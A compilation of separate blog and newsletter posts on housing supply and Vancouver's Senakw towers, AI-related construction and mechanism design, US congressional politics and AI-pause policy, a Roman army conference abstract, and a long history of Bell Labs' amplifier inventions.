. . . deficient supply of new housing—not some problem on the demand side of the market—is the driving force behind the country’s deteriorating affordability conditions.  . . .  policy should help increase the number of new housing units delivered to the market. If that does not happen, the policy is likely to be irrelevant and possibly counterproductive.

That diagnosis leads Gyourko to recommend strongly against measures that focus on stimulating demand, such as additional subsidies to buyers, like down payment assistance for first time buyers.  These demand side solutions–giving people more buying power, are unlikely to solve the affordability problem, but instead are likely to lead to bidding up rents and home prices unless supply increases.  As he says

 . . . trying to make housing more affordable by subsidizing demand in one way or another simply shifts out that demand along an almost fixed supply. That results in higher prices, which exacerbates the affordability problem.

Instead, the solution to affordability has to come from supply side measures, although these will take time to work. Gyourko recommends that we work to change or overcome the incentive problems associated with our system of excessive control, either by providing financial incentives to local governments to encourage more housing, or to shift more of the authority for allowing housing from the local to the state level, and by replacing discretionary approval processes with clear and objective approval standards, and “by-right” administrative approvals.

Vancouver’s First Nation’s people show how to do “Missing Massive.”  More than a century ago, some of the last indigenous people were unceremoniously–and illegally–dispossessed from the last remnant of their land in Kitsilano, just across the water from downtown Vancouver.  The provincial government, after decades of delay, agreed to at least partially redress that wrong by returning the land to the First Nations.  With their sovereignty restored–and, critically, unencumbered by local and provincial zoning laws, the Squamish nation chose to intensely develop the land for housing.

As the Vancouver Sun reports, their first towers are nearly complete.  When it the project is finished in several years, Senakw will provide 6,000 homes, nearly all of them classed as affordable, in the heart of one of North America’s most livable, and most expensive metropolitan areas.  It is a signal example of what Alex Armlovich has called “missing massive” housing.  Building for high levels of residential density where there is obvious demand is a much faster and more effective solution to getting more housing quickly than incremental strategies, like gradual up-zoning or allowing accessory dwelling units  or duplexes in single family zones.

Data Center spending surpasses spending on office construction.  Joseph Politano has a fascinating tid-bit the captures two trends going in opposite directions:  the rise of AI–fueled by, and fueling changes in the workplace–and a massive decline in commercial office construction.  In the latest quarter, the annualized value of data center construction surpassed the value of commercial office construction

If anything, that actually vastly understates the investment in AI; the construction of data centers doesn’t include the value of the computers installed in them, which is vastly higher.  Collectively, AI-related spending, including data centers, computers and peripherals and software, are approaching $1 trillion per year.  The chart seems like a metaphor for post-Covid trends, offices are emptying out, and Internet use, and especially AI are expanding.  Whether this is a new epoch, or a bubble, remains to be seen.

 

In the News

Bike Portland published an op-ed by Joe Cortright challenging claims that Oregon and Washington have actually “downsized” the Interstate Bridge Project.

 Tim O'Reilly, one of the OG commentators/facilitators/cheerleaders of the internet revolution, has some thoughts on the infrastructure  of the various marketplaces for AI.

The Missing Mechanisms of the Agentic Economy: From disclosures to protocols to markets By Tim O’Reilly
 

"For the past two years, I’ve been working with economist Ilan Strauss at the AI Disclosures Project. We started out by asking what regulators would need to know to ensure the safety of AI products that touch hundreds of millions of people. We are now exploring the missing mechanisms that are needed to enable the agentic economy.

"This essay traces our path from disclosures through protocols to markets and mechanism design. Rather than simply stating our conclusions, I’m sharing our thought process and some of the conversations and historical examples that have shaped it. 

...

"Economists use the term “mechanism design” to describe the engineering of rules and incentive structures that lead self-interested actors to produce outcomes that are good for everyone. It’s sometimes called “reverse game theory.” Rather than analyzing the equilibria that emerge from a given set of rules, you start with the outcome you want and work backward to design the rules that will get you there.

"Mechanism design theory got its start in the 1960s when Leonid Hurwicz took up the problem of how a planner can make good decisions when the information needed to make them is scattered among many different people, each of whom has their own interests. His key insight was that people won’t reliably reveal what they know unless it’s in their interest to do so. So how do you design a system that aligns their incentives?

"The field that Hurwicz founded and that Eric Maskin and Roger Myerson developed through the 1970s and 80s earned all three the Nobel Prize in Economics in 2007.

"I first encountered the field when Jonathan Hall, at the time the Chief Economist at Uber, waved Al Roth’s book Who Gets What — and Why at me and said “This is my Bible.” In it, Roth describes his own work on mechanism design, which won him the 2012 Nobel Prize in Economics along with Lloyd Shapley. Roth applied mechanism design to kidney matching markets, markets for college admissions, for law clerks and judges, and for hospitals and medical residents. When I first talked to Jonathan and then Al Roth, my layman’s takeaway about mechanism design was that it was simply the application of economic theory to design better markets.

"And I’ve since come to think even more broadly about what mechanism design might mean in a technology context. In my broader framing, packet switching was a breakthrough in mechanism design. So for that matter was TCP/IP, the World Wide Web, and the protocol-centric architecture of Unix/Linux, which enabled open source and the distributed, cooperative software development environment we take for granted today. PageRank and the rest of Google’s organic search system also seems to me to be a kind of mechanism design. So do Pay Per Click advertising and the Google ad auction. All of them are ways of aligning incentives such that self-interested actors produce outcomes that are good for others as well. "

That does not mean it is good!  From Jeffrey M. Stonecash:

Congress is portrayed as compliant with President Donald J. Trump’s agenda because he is intimidating its members. This neglects an alternative explanation that focuses on the increased congruence of presidential and congressional electoral bases. Trump is the beneficiary of a geographical realignment that took decades and has created a high degree of overlap of the two bases. This analysis tracks that process from 1952 to 2024. It has produced a situation in which policy concerns overlap and encourage congressional compliance.

Here is the link, tekl.

The post Republican Congressional deference to Trump is in fact democratic appeared first on Marginal REVOLUTION.

Hey folks! Another gap week because, as mentioned last week, I am at the annual meeting for the Society for Military History happening in Arlington. That said, we actually did have a major post this week, my 7,500 word primal cry concerning the current war in Iran. I know that won’t be for everyone – some of you read this to get away from current events – which is why I dropped it ‘off schedule’ midweek rather than having it replace this post.

That said, as I often do with weeks where I am at a conference, let me share the abstract of the paper I am delivering, “Unlearning the Marian Reforms:”

The transformation of the Roman army from the conscription-based citizen militia organized by maniples of the middle republic to the long-service professional army organized by cohorts in the early imperial period remains a topic of intense interest for specialists and non-specialists alike.  In recent years, however, the specialist understanding of this transformation has increasingly diverged from a non-specialist generalist vision which remains wedded to the notion of the ‘Marian Reforms.’  The idea of a set of reforms, occurring in the late second or early first century BC, which can be tied particularly or generally to the career of Gaius Marius (cos. 107, 104-100, 86) remains common in popular history and even academic textbooks and so permeates the non-specialist understanding of the Roman army’s transformation.  However, as this paper demonstrates, functionally every part of this narrative has come under attack and nearly all parts of it must now be discarded: there were no ‘Marian Reforms,’ ‘so-called’ or otherwise.

Instead, what has emerged from the scholarship is a prolonged process of change beginning far earlier in the second century and not entirely complete until at least the reign of Tiberius (r. 14-37 AD), in which Gaius Marius’ career forms only a single episode and not necessarily a particularly important one.  This new understanding of change in the Roman army now dominates the specialist scholarship but has not filtered through to general discussions of either Roman or military history.  This paper addresses this gap in understanding, outlining the key elements of the ‘Marian Reforms’ have been undermined and demonstrating that the notion of the ‘Marian Reforms’ as an event in the history of the Roman army is to be abandoned in generalist and textbook treatments, at it has already been in specialist ones.

Now normally this is a case where I have to hem and haw about how conference presentation papers aren’t really ready for publication even on a blog, but this conference paper is in fact a more-or-less direct translation of a blog post we have already had, “The Marian Reforms Weren’t a Thing.” Indeed, whereas my speaking time here (around 20 minutes) limits me to just around 2,800 words, the original post is about three times longer, with significantly more detail than I can fit into a conference paper. So you can in essence, read a longer, even more decompressed form of this argument! So feel free to go and read that if you missed it and to read my Iran War take if you want and didn’t catch it midweek and we’ll be back next week with something different (maybe Carthage themed?).

Dean ball has some thoughts and hesitations:

Here are some questions I wish “Pause” and “Stop” advocates would address:

1. Assuming we achieve the desired policy goal through a bilateral US/China agreement, what would be the specific metric or objective we would say needs to be satisfied in advance? Who decides whether we have satisfied them? What if one one party believes we have satisfied them but the other does not?

2. If the goal is achieved through a bilateral US/China agreement, would we need capital controls to ensure that U.S. investors cannot fund semiconductor fabs, data centers, or AI research labs in countries other than the U.S. and China?

3. Would we need to revoke the passports of U.S.-based AI researchers and semiconductor engineers to prevent them leaving America to join AI-related ventures elsewhere? How else would the U.S. and China keep researchers within their borders?

4. How should we grapple with the fact that (2) and (3) are common features of autocratic regimes?

5. Do the above questions mean that this really should be a global agreement, signed by all countries on Earth, or at least those with the theoretical ability to host large-scale data centers (probably Vanuatu doesn’t need to be on board)?

The post A bilateral AI pause? appeared first on Marginal REVOLUTION.

As we’ve noted more than a few times before, for most of the 20th century AT&T’s Bell Labs was the premier industrial research lab in the US. As part of its ongoing efforts to provide universal telephone service, Bell Labs generated numerous world-changing inventions, and accumulated more Nobel Prizes than any other industrial research lab.1 But the most important of its technical contributions proved to be useful far beyond the confines of the Bell System. Statistical process control, for instance, was invented by AT&T engineer Walter Shewhart to improve the manufacturing of AT&T’s electrical equipment at supplier company Western Electric. Since then, the methods have been successfully applied to all manner of manufacturing, from jet engines to semiconductors to container ships.

Interestingly, some of AT&T’s most important technological contributions — namely, the vacuum tube, the negative feedback amplifier, the transistor, and the laser — were (in whole or in part) the product of efforts to make new, better amplifiers for boosting electromagnetic signals. Amplifiers played a crucial role in the Bell System, making it possible to (among other things) connect telephones over long distances, but the value of these four amplifiers extended far beyond telephony. The vacuum tube became a crucial building block for electronics in the first half of the 20th century, used in everything from radio to television to the earliest computers. The negative feedback amplifier helped spawn the discipline of control theory, which is used today in the design of virtually every automated machine. The transistor is the foundation of modern digital computing and everything built on top of it. And the laser is used in everything from fiber-optic communications to industrial cutting machines to barcode scanners to printers.

It’s worth looking at why AT&T was so motivated to build better and better amplifiers, and why those efforts produced so many transformative inventions.

The vacuum tube

In 1876 Alexander Graham Bell placed the world’s first telephone call, summoning his assistant Thomas Watson from another room. By 1881, Bell’s company, the Bell Telephone Company (it wouldn’t become American Telephone and Telegraph, or AT&T, until 1899) had 100,000 customers. By the turn of the century AT&T was operating 1,300 telephone exchanges in the US, connecting over 800,000 customers with 2 million miles of wire.

The goal of the Bell System was “universal service” – to connect every telephone user with every other telephone user in the system. But by the early 20th century this quest was bumping up against technological limitations.

Telephones converted the sound of someone speaking to electrical signals, which were transmitted along wires until reaching a telephone on the other end, where they were converted back into sound. More specifically, in early telephones the sound from someone speaking would compress and decompress a chamber full of carbon granules, which would alter their electrical resistance, changing how much current flowed through them. At the other end, the electrical current would flow through an electromagnet, which pulled on a thin iron diaphragm; fluctuations in the electrical current would change the motion of the diaphragm, reproducing the speech.

But the farther electrical signals travelled, the more they would be attenuated. Resistance from the wire carrying them would convert some of the electrical energy into heat, and electrical current could “leak” between adjacent telephone wires. As the electrical signals got weaker and weaker, the sound would be less and less intelligible when reproduced, until it couldn’t be heard at all. If AT&T wanted to provide universal service, it would need a way to maintain the strength of the electrical signal as it traveled over long distances.

AT&T was able to partly resolve this problem using the loading coil, an invention of electrical engineer Michael Pupin. (Lines which had loading coils added to them were sometimes described as being “Pupinized.”) The loading coil added inductance (a tendency to resist changes in current) to telephone lines, which reduced signal attenuation. As a result, the loading coil roughly doubled the effective distance limit of telephone calls, from around 1000-1200 miles to closer to 2000 miles. But the loading coil merely reduced signal attenuation; the signal was still decaying as it traveled along the lines, just more slowly. Without some way of actually amplifying the telephone signals, the maximum distance for a telephone line was enough to connect New York to Denver, but not enough to reach the West Coast from New York and connect the entire country.

AT&T experimented with various mechanical amplifiers, which converted the electrical signals into mechanical movements and then back to electrical signals, but these were found to greatly distort the signal, and were not widely used. What was needed was an electronic amplifier, which could amplify the electrical signals directly, without the lossy and distorting effects of mechanical translation. In 1911, AT&T formed a special research branch to tackle the problem of long-distance transmission, and hired the young physicist Harold Arnold (who would later become the first director of research at Bell Labs) to research possible amplifiers based on the “new physics” of electrons.

At first, Arnold had little success. He looked at a variety of possible amplifying technologies, and experimented extensively with mercury discharge tubes (which initially seemed promising), but nothing appeared to fit AT&T’s requirements. But in 1912, Arnold learned of a new, promising amplifier known as the audion, which had been brought to AT&T by American inventor Lee de Forest. De Forest’s audion was, in turn, based on an invention of the British physicist Ambrose Fleming, known as the “Fleming valve.” Fleming was inspired by extensive experimentation with what was known as the “Edison Effect:” the observation that in an incandescent bulb, electric current would flow from the heated filament to a nearby metal plate. Fleming used this effect to create a diode, a device which lets electric current flow in one direction but not another. De Forest modified Fleming’s valve by adding a third element, a metallic grid, between the filament and the plate. By varying the voltage at the metallic grid, De Forest eventually discovered he could control the flow of electrical current from the filament to the plate. This allowed the device to act as an amplifier: a small change in the voltage could create a much larger change in the current flowing from the filament to the plate.

De Forest’s audion had uneven performance — notably, it couldn’t handle the level of energy needed for a telephone line. Moreover, it was clear that De Forest did not quite understand how the device worked. But Arnold, well-versed in the physics of electrons, recognized its potential, and realized that, with modifications, its various limitations could be overcome. Via “The Continuous Wave,” a history of early radio:

Arnold knew exactly what to do about the audion’s limitations. “I suggested that we make the thing larger, increase the size of the plate with the corresponding increases in the size of the grid but particularly at that time I suggested that we were not getting enough electrons from the filament.” What he wanted to do, in fact, was convert the de Forest audion into a different kind of device. He wanted a much higher vacuum in the tube, with residual gas eliminated to the greatest possible extent; and he knew the newly invented Gaede molecular vacuum pump made that possible. He wanted more electron emission from the filament without an increase in filament voltage; and he knew Wehnelt’s new oxide-coated filaments would do that.

After paying $50,000 (roughly $1.6 million in 2026 dollars) for the rights to the audion, Arnold and others at AT&T spent the next year turning it into a practical electronic amplifier: the triode vacuum tube. By June 1914, vacuum tube amplifiers were being installed on a transcontinental telephone line connecting New York and San Francisco, and in January of 1915 the transcontinental line was inaugurated at the Panama-Pacific International Exposition with a call between Alexander Graham Bell in New York and Thomas Watson in San Francisco. By the late 1920s, AT&T was using over 100,000 vacuum tubes in its telephone system, and triodes and their descendents (four-element tetrodes, five-element pentodes) would go on to be used in all manner of electronic devices, from radios to TVs to the first digital computers.

The vacuum tube, with its ability to amplify electronic signals, represented a sea change in how AT&T engineers thought about telephone service. Prior to the electronic amplifier, a telephone call was essentially a single diminishing stream of electromagnetic energy. The range of that energy could be extended farther and farther from the speaker at the steep cost of its fidelity. The amplifier made it possible to consider a telephone call as a stream of information, as a signal that was distinct from the medium that carried it. It could be ably renewed, translated, modified in new and exciting ways. As historian David Mindell notes:

…a working amplifier could renew the signal at any point, and hence maintain it through complicated manipulations, making possible long strings of filters, modulators, and transmission lines. Electricity in the wires became merely a carrier of messages, not a source of power, and hence opened the door to new ways of thinking about communications…The message was no longer the medium, now it was a signal that could be understood and manipulated on its own terms, independent of its physical embodiment.

The negative feedback amplifier

Thanks to vacuum tube amplifiers, AT&T could finally fulfill its dream of universal telephone service, connecting telephones to each other anywhere in the continental US. But vacuum tubes were far from perfect amplifiers. The ideal amplifier has a linear relationship between the input and the output, effectively multiplying the input current or voltage by some value. If this relationship is non-linear, some inputs will be multiplied more than others, and the signal will become distorted. This distortion can garble speech, and — on a wire carrying multiple telephone calls — can create cross-talk, with speech from one telephone call being heard on another.

The vacuum tube was a superior amplifier to anything that preceded it, but it wasn’t a perfectly linear amplifier; its amplification curve formed more of an S-shape, under-amplifying low values and over-amplifying high ones. For a line carrying a single telephone call, the resulting distortion could be mitigated by restricting inputs to the linear portion of the curve, but as AT&T adopted carrier modulation — carrying multiple calls at different frequencies on a single line — distortion became more of a problem.

In 1921, Harold Black, a 23 year old electrical engineer, joined AT&T. He soon produced a report analyzing the future potential of a transcontinental telephone line carrying thousands of carrier-modulated conversations. At the time, carrier modulation was being used to carry at most three calls on a single line. Black’s analysis showed that such a line would require an amplifier with far less distortion than existing vacuum tubes,and Black began to work on developing an improved amplifier as a side project.

At first, Black simply tried to create vacuum tubes with less distortion, a project that many others at AT&T were also working on. The efforts of Black and others produced higher-quality vacuum tubes, but nothing Black tried reduced the distortion to the degree he was aiming for.

After two years of failure, Black decided to pivot; rather than trying again and again to build a perfectly linear amplifier, he would accept that any amplifier he made might be imperfect, and instead find a way to remove the distortion that it introduced.

Black first tried to do this by subtracting the input signal from the amplifier’s output, leaving behind just the distortion, and then amplifying that distortion and subtracting that from the output signal. This method — the “feedforward amplifier” — worked, but not well. It required having two amplifiers (one for the original signal, and one for the distortion) that needed to have very precisely matched amplification characteristics, and maintaining that alignment over a wide range of frequencies and for a long period of time proved difficult. As Black noted later:

For example, every hour on the hour —24 hours a day —somebody had to adjust the filament current to its correct value. In doing this, they were permitting plus or minus 1/2-to-l dB variation in amplifier gain, whereas, for my purpose, the gain had to be absolutely perfect. In addition, every six hours it became necessary to adjust the B battery voltage, because the amplifier gain would be out of hand. There were other complications too, but these were enough! Nothing came of my efforts, however, because every circuit I devised turned out to be far too complex to be practical.

Black grappled with the problem over the next several years, until suddenly realizing the solution while taking the ferry to work one morning in 1927. An electromagnetic signal consisted of a wave, alternating back and forth between positive and negative voltage. If you took a fraction of the output from an amplifier, and subtracted that from the input signal before it got amplified — by modifying the input with negative feedback — you would cancel out the distortion. Because this would reduce the strength of the input signal, this would have the downside of greatly reducing the how much the signal would be amplified (known as the gain), but that was ok; the distortion would be reduced so much that you could get as much gain as you needed by stringing several such amplifiers together. And unlike Black’s feedforward amplifier, this negative feedback amplifier would be self-correcting: any unexpected change to the gain in the amplifier would become a change in the feedback signal, compensating for the change.

By the end of the year, Black had built a negative feedback amplifier that reduced distortion by a factor of 100,000. But Black had a difficult time convincing others of the merits of his invention. At the time feedback was largely considered undesirable by electrical engineers. Feedback could cause an amplifier to “sing” and start generating its own output, known as self-oscillation, overwhelming the input signal. (Think of the high-pitched sound that you get when placing a microphone next to a speaker.) Engineers went to significant efforts to prevent feedback-related problems.

At the time it was also believed that an amplifier with high levels of feedback would be fundamentally unstable. Opposition to Black’s amplifier was so severe that securing a US patent required “long drawn-out arguments with the patent office,” and the British patent office treated the invention the way they treated perpetual motion machines, demanding a working model. Harold Arnold, who had since become director of research at Bell Labs, “refused to accept a negative feedback amplifier, and directed Black to design conventional amplifiers instead.”

In practice, keeping the amplifier stable (avoiding self-oscillation) while also stringing together amplifiers in sequence proved to be a complex problem. These issues were resolved in part thanks to the help of two other Bell Labs researchers, Harry Nyquist and Henrik Bode. Nyquist and Bode studied the behavior of the negative feedback amplifier, and created mathematical tools for analyzing it and determining the conditions under which it would be stable.

Taken together, these efforts turned Black’s invention into a mainstay of electronics. Within 25 years, thanks to the work of Black, Nyquist, Bode, and others, the principle of negative feedback was “applied almost universally to amplifiers used for any purpose,” and it continues to be used in the design of modern amplifiers.

The effects of the Bell Labs work on negative feedback resonated far beyond amplification. A parallel tradition of feedback-based devices existed in mechanical engineering, in the design of things like governors and servomechanisms. During WWII, these two traditions began to merge into the modern discipline of control theory, which studies how to control a dynamic system using feedback. Feedback loops designed using control theory methods are the foundation of virtually every sort of automated system: aircraft autopilots, robotic arms, chemical plants, and the entire electrical grid all use feedback-based control loops, and the tools that Black, Nyquist, Bode, and others created to analyze the negative feedback amplifier are still used by control engineers around the world today.

The transistor

Even with negative feedback reducing their distortion, vacuum tubes were still far from ideal amplifiers. A vacuum tube is essentially a highly modified lightbulb, and has similar drawbacks as early lightbulbs: heating the filaments consumed a lot of power, and over time the tubes would burn out and need to be replaced. Mervin Kelly, a Bell Labs physicist who was promoted to director of research in 1936, wanted to replace the vacuum tube amplifiers and mechanical relays in the Bell System with solid-state devices, devices whose switching or amplification was done by way of electrons moving through a solid chunk of matter. Shortly after his promotion, Kelly began to hire physicists who were familiar with the then-novel physics of quantum mechanics, and could help better understand the behavior of solid matter. In 1938 Kelly created a group specifically devoted to solid-state research, and the team began working on building a solid-state amplifier using semiconductors: materials such as silicon, germanium, and copper oxide whose conductivity could be greatly varied. The group made progress — most notably, in 1939 Russell Ohl discovered that small amounts of impurities in silicon could drastically affect silicon’s conductivity when he accidentally created a photovoltaic cell in a silicon rod — but the work was soon disrupted by wartime priorities.

As the war progressed, Kelly recognized that wartime scientific and technological advances had the potential to upend the communications industry, and that if AT&T wanted to stay on top it needed to master the relevant sciences. He conceived of a new, major research program into solid-state physics that would be led by William Shockley, a physicist Bell Labs had hired in 1936 and who since 1938 had been researching solid-state devices.

During the war Shockley had worked on a variety of problems unrelated to semiconductors, including designing tactics for submarine warfare and training B-29 crews to use radar bombsights. But he also found time to work on a solid-state amplifier. In April of 1945, a few months before the end of the war, Shockley began to sketch out a device made from doped silicon (silicon with small amounts of impurities). Shockley hoped to use external electric fields to modify the conductivity of the silicon, amplifying the current flowing through it. His initial experiments, however, were met with failure.

A few months later, Kelly reorganized the research program at Bell Labs, creating a new, larger group wholly devoted to solid-state physics and led by Shockley. Among those who joined the new group were Walter Brattain, a physicist who had joined Bell Labs in 1929 and had previously studied copper oxide semiconductors, and John Bardeen, a new researcher from the Naval Ordnance Laboratory. Both were part of a subteam of the new solid-state physics group devoted specifically to the study of semiconductors.

Shortly after Bardeen joined, Shockley asked him to check Shockley’s calculations for the silicon amplifier in the hopes of learning why it hadn’t worked. Bardeen studied Shockley’s work, and eventually theorized that electrons might be getting “trapped” on the surface of the material, preventing the electric field from penetrating it and thus altering its conductivity. The semiconductor group began studying these “surface states,” and after nearly two years of experiments a breakthrough occurred.

Brattain had been studying surface states in silicon and germanium by shining light on the materials; if surface states existed, the light would knock away some electrons via the photovoltaic effect, “ripping holes in the semiconductor fabric.” Brattain discovered that not only was this electron disruption taking place, but that by varying the charge in an electrode above the surface of a piece of silicon, the strength of the photovoltaic effect could be varied significantly. The surface states themselves could be manipulated.

On November 21st, 1947 — a few days after Brattain’s discovery — Bardeen suggested using this ability to manipulate surface states to build an amplifier. They placed a sharp metal point onto the surface of a piece of doped silicon, and surrounded it with an electrolyte. By placing a small wire into the electrolyte and varying its voltage, they believed they could alter the conductivity of the silicon, and thus how much current flowed through it from the metal point.

The experiment worked: applying a voltage to the electrolyte boosted the current flowing through the metal point by about 10%. When Brattain rode home that night, he told the other members of his carpool that he’d “taken part in the most important experiment that I’d ever do in my life.”

Over the next several weeks, Bardeen and Brattain iterated on their new silicon amplifier. Initially its performance was poor, amplifying current only marginally, not amplifying voltage at all, and only functioning at very low electrical frequencies. But they eventually found that replacing the silicon with germanium allowed the device to amplify both current and voltage, and removing the electrolyte allowed it to amplify voltage over a wide range of frequencies.

By the middle of December, Bardeen and Brattain were ready to apply what they had learned. They fashioned a new device consisting of two thin pieces of gold foil attached to the surface of a piece of doped germanium, separated by only a 500th of an inch. They connected one wire to each of the pieces of gold foil, and a third to the piece of germanium. They reasoned that varying the current in one of the gold foil wires should amplify the current flowing through the other gold wire.

It worked: both current and voltage could be amplified across a wide range of frequencies using the device. Bardeen and Brattain had fashioned a solid-state amplifier.

By early 1948, Bell Labs had fabricated nearly a hundred copies of Bardeen and Brattain’s amplifier (which would soon be named the transistor), and was testing how it could be used in various electronic devices. By the end of May, Bell Labs engineers had built a transistor-based telephone repeater. At a June 30th press conference, Bell Labs announced the transistor to the world:

We have called it the Transistor, T-R-A-N-S-I-S-T-O-R, because it is a resistor or semiconductor device which can amplify electrical signals as they are transferred through it from input to output terminals. It is, if you will, the electrical equivalent of a vacuum tube amplifier. But there the similarity ceases. It has no vacuum, no filament, no glass tube. It is composed entirely of cold, solid substances.

The rest, of course, is history.

Bell Labs worked out how to make the transistor more reliable, and by 1949 was manufacturing them by the thousands. William Shockley, irritated at not having taken part in Bardeen and Brattain’s discovery, worked to design an alternative semiconductor amplifier, the junction transistor. Shockley’s junction transistor, first successfully fabricated by Bell Labs physicists Gordon Teal and Morgan Sparks in 1950, was far more reliable than the point-contact transistor, and it would go on to be the most widely-used transistor until the MOSFET appeared in the 1960s. In 1956 Shockley, Bardeen, and Brattain would share the Nobel Prize in physics for the discovery of the “transistor effect,” by which time Shockley had left Bell Labs to found his own semiconductor company, Shockley Semiconductor Lab. In 1957, eight disgruntled employees would leave Shockley’s company to found Fairchild Semiconductor. Departing Fairchild employees in turn went on to found their own semiconductor companies, and the so-called “Fairchildren” (which include Intel and AMD) became the foundation of Silicon Valley. The world would never be the same.

The laser

As Shockley, Bardeen and Brattain were experimenting with semiconductors in the 1940s, another Bell Labs physicist, Charles Townes, was studying microwaves. Since the invention of radio in the late 19th century, the technology had progressed by steadily marching up the electromagnetic spectrum, finding ways to use shorter and shorter wavelengths. There were a variety of reasons for this: shorter wavelengths carried more information, there were limits to how many users could occupy a particular part of the electromagnetic spectrum, antennas for shorter wavelengths could be smaller, and radars with shorter wavelengths could resolve more detail. The shortest wavelengths in use in the 1920s were tens of meters in length, but by WWII this had fallen to centimeters in length; these were known as microwaves. During the war, at the behest of the military, Townes designed microwave radars of increasingly short wavelengths. When Townes designed a radar with a 10 centimeter wavelength, he was then asked to build a 3 centimeter one; when he built that, he was asked for a 1.25 centimeter wavelength.

But the pressure to achieve smaller and smaller wavelengths was bumping up against technological limitations. Generating and amplifying smaller and smaller wavelengths required smaller and smaller components; by the time wavelengths reached the millimeter range, the components to generate the signals became so small that manufacturing them, and putting enough power through them, became impractical. What was needed was a new way to generate and amplify radio signals that didn’t require fabricating microscopic components.

In 1948 Townes left Bell Labs for Columbia University, where he pursued research related to microwave spectroscopy. Townes hoped to use microwaves of increasingly small wavelengths, on the order of millimeters, to study the molecules and atomic nuclei. Because of his interest and expertise, and because shorter-wavelength radiation might prove valuable for radars or other military uses, Townes was asked by the Navy in 1950 to form an advisory group on millimeter wave radiation, so the Navy could keep abreast of any promising developments in the field. As there was not yet any good method of generating millimeter waves, most of the group’s efforts were focused on thinking of ways to generate them.

In April of 1951, on the morning of a day-long meeting of the committee, Townes awoke early and sat on a bench in a nearby park, and began to consider ways to generate millimeter wave radiation. Certain molecules, Townes knew, radiated energy at microwave wavelengths: perhaps instead of small electronic components, he could use molecules to generate the short millimeter waves he and everyone else were looking for?

The idea was not initially very promising. Molecules would certainly radiate after absorbing energy, but they would necessarily emit less energy than they absorbed — you couldn’t simply shine a light or send a signal through a collection of molecules, and get a stronger signal back. Heated molecules would radiate energy, but to generate microwaves they would need to be so hot that they would break apart into individual atoms.

Townes did know of one way to get a molecule to boost an electromagnetic signal: stimulated emission. Normally, when an atom or molecule is struck by a photon, its energy level will be raised. Later, when it falls back to its normal state, it will emit a photon. However, if it’s struck by a photon while it’s already in an elevated energy state, it will emit a second photon of the exact same frequency: one photon becomes two.

Most molecules are usually in low-energy states, not high energy states, which means that any amplification would quickly peter out as excess photons were absorbed. But Townes realized that if a collection of molecules could be coaxed so that most of them were in high energy states — known as a “population inversion” — a cascade of stimulated emission could take place. One photon striking a high energy molecule would become two; each of those could strike another high energy molecule, becoming four, then becoming eight, then becoming 16. A small amount of electromagnetic radiation could be amplified enormously. With enough molecules in an elevated state, Townes realized that in principle there would be “no limit to the amount of energy obtainable.”

Sitting in the park, Townes took an envelope from his pocket, and worked through how such a device might work. By feeding a stream of appropriately stimulated molecules into a resonator (a cavity that would reflect electromagnetic radiation of the appropriate wavelength), any electromagnetic radiation generated within the resonator would bounce back and forth, gaining energy each time it passed through the molecules as more and more photons were generated. The device would amplify any incoming signal as an electromagnetic wave passed through the population inversion molecules. And because the resonator would reflect the wave back and forth through the molecules (a form of feedback), it could also act as an oscillator — a generator of electromagnetic signals. Power would only be limited by how quickly molecules carried energy into the resonator.

A few months later Townes assigned Jim Gordon, one of his graduate students, the task of building the device, assisted by another graduate student, Herb Zeiger. Over the next several years Gordon worked diligently to realize the ambitious concept. Many physicists considered the idea unpromising: at one point, several years into the project, the current and former heads of Townes’s department, Isidor Rabi and Polykarp Kusch, exasperatedly stated to Townes that “you should stop the work you are doing. It isn’t going to work. You know it’s not going to work. We know it’s not going to work. You’re wasting money. Just stop!” But finally in 1954, a few months after Kusch insisted the device wouldn’t work, Gordon succeeded, demonstrating both amplification and oscillation in a collection of stimulated ammonia molecules. They called their device the maser, an acronym describing the device’s Microwave Amplification by Stimulated Emission of Radiation.

The maser, once developed, eventually proved to be “the world’s most sensitive radio amplifier,” an order of magnitude more sensitive than existing microwave amplifiers. Bell Labs, which hired Gordon in 1955, used masers to amplify the signals from its Echo and Telstar satellites launched in the early 1960s. The maser also found use in radio telescopes for astronomy. But the maser had drawbacks — most notably, it had to be cooled to a few degrees above absolute zero — and it was gradually relegated to increasingly niche uses as other low-noise amplifiers were developed.

The biggest impact of the maser was likely the invention that it inspired. In 1957, Charles Townes, still attuned to the problem of generating shorter and shorter electromagnetic waves, began considering how the maser might be adapted to such a task. Historically, radio had advanced into shorter wavelengths gradually, one step at a time. But Townes realized that with the maser it might be as easy, or perhaps even easier, to skip from microwave wavelengths (roughly 1 meter to 1 millimeter) all the way down to infrared or even optical wavelengths (roughly 0.000000380 to 0.000000750 meters). By this time, Townes had re-joined Bell Labs as a part-time consultant, and Townes and another Bell Labs physicist, Art Schawlow, worked through the physics of what they referred to as an “optical maser.” In 1958, they published a paper outlining the idea.

After Townes and Schawlow’s paper was published, the race was on to build the optical maser, which soon began to be referred to as a laser, for Light Amplification by Stimulated Emission of Radiation). The first successful laser was built by Theodore Maiman at Hughes Aircraft in 1960 using a ruby crystal, but other successes quickly followed. It was soon discovered that a wide variety of materials could be made to “lase,” and before long there were lasers made from gasses, dye, glass, semiconductors, and more. In 1964, Townes would receive the Nobel Prize in physics for his work on the “maser-laser principle.”

While the laser could amplify signals that were passed into it, it proved much more useful as an oscillator, a generator of original signals. In 1959 Art Schawlow, believing that the laser would be more useful as an oscillator than an amplifier, jokingly suggested that it be renamed the LOSER. Unlike the maser, which was limited to niche uses, the laser proved to be useful for a wide variety of tasks. Within just two years of Maiman’s demonstration, a laser was used for eye surgery. By 1968, the US Air Force was dropping laser-guided bombs in combat. By 1971, Xerox PARC researchers built the first laser printer, and in 1974 the first laser-based barcode scanners were being installed. In 1980, the first commercial fiber optics lines using semiconductor lasers were made available. It’s the lasers ability to generate coherent light — light all of the same frequency, and in the same phase — that made it possible to continue to advance up the electromagnetic spectrum, and use optical wavelength electromagnetic radiation for communication.

Conclusion

Why did these various amplifiers, so many of them deriving from work at Bell Labs, end up being so valuable?

Partly it’s because an electronic amplifier is a very useful information processing device. An amplifier can amplify an electromagnetic signal, but it can also act as an electronic switch. And if the output of an amplifier is fed back into its input, an amplifier can also act as an oscillator: a generator of electromagnetic signals. Those are all useful information processing tasks, and each time a new, better amplifier was created, it extended the kinds of information processing that could be done. So these amplifiers were valuable because electronic information processing is valuable, and these amplifiers all greatly expanded the scope of information processing.

